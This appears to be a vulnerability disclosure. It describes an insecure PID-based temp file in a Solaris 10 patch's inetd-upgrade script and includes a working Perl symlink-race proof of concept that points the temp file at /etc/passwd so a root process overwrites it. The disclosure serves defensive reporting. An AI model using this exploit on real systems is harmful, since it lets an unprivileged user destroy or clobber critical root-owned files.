Larry W. Cashdollar

temp file creation using process id in solaris 10 patch cluster for sparc:

patches/137097-01/SUNWcsr/reloc/lib/svc/method/inetd-upgrade


lines : 
    72  inetdconf_entries_file=/tmp/iconf_entries.$$
    73
    74  # Create sed script that prints out inetd.conf src line from inetconv generated
    75  # manifest.
    76  cat <<EOF > /tmp/inetd-upgrade.$$.sed
    77  /propval name='source_line'/{
    78  n
    79  s/'//g
    80  p
    81  }
    82  /from the inetd.conf(4) format line/{
    83  n
    84  p
    85  }
    86  EOF


if 137097-01 is applied and changes need to be made to the inetd.conf file a malicious user can over write the contents 
of a root owned file with a simple script:

#!/usr/bin/perl 
$clobber = "/etc/passwd";
while(1) {
open ps,"ps -ef | grep -v grep |grep -v PID |";

while(<ps>) {
@args = split " ", $_;

if (/inetd-upgrade/) { 
        print "Symlinking iconf_entries.$args[1] to  $clobber\n";
        symlink($clobber,"/tmp/iconf_entries.$args[1]");
        exit(1);
   }
 }

}